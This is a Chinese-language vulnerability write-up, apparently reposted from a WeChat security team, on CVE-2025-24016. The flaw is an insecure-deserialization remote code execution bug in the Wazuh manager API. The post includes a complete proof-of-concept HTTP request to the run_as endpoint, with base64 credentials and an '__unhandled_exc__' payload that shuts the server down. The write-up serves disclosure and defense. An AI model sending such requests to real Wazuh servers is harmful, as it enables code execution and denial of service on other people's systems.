wazuh-manager包中的不安全反序列化引入。该漏洞允许具有 API 访问权限的远程攻击者（受感染的仪表板、集群中的 Wazuh 服务器或具有受感染代理的某些配置）在服务器上执行任意代码。受影响的版本
wazuh-manager版本>= 4.4.0- 已在版本中修复
>= 4.9.1
描述
该漏洞发生在 Wazuh API 中，其中的参数DistributedAPI被序列化为 JSON，并在文件as_wazuh_object中使用反序列化framework/wazuh/core/cluster/common.py。攻击者可以通过将未清理的字典注入 DAPI 请求来利用此漏洞，这可能导致对任意 Python 代码的评估。
RCE 可通过终端触发run_as，从而允许攻击者控制auth_context参数。通过构造恶意请求，可在主服务器上执行任意代码。
POST /security/user/authenticate/run_as HTTP/1.1 Host: target.com:55000Cache-Control: max-age=0Accept-Language: en-USUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36Accept: application/jsonAccept-Encoding: gzip, deflate, brConnection: keep-aliveAuthorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg== # Base64-encoded "wazuh-wui:MyS3cr37P450r.*-"Content-Type: application/jsonContent-Length: 83 { "__unhandled_exc__": { "__class__": "exit", "__args__": [] } }
- 授权标头：这是 base64 编码的授权（
wazuh-wui:MyS3cr37P450r.*-）。 - 有效负载：恶意有效负载包含未清理的异常
__unhandled_exc__，会触发任意 Python 代码的执行（exit在本例中）。
- 远程代码执行 (RCE)：此漏洞允许攻击者在 Wazuh 服务器上执行任意代码，影响
>= 4.4.0直至4.9.0（尚未修补）的版本。 - 潜在的拒绝服务：在此 PoC 中，该
exit功能被触发，导致 Wazuh 服务器关闭。
原文始发于微信公众号（Khan安全团队）：CVE-2025-24016：Wazuh RCE远程代码执行
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论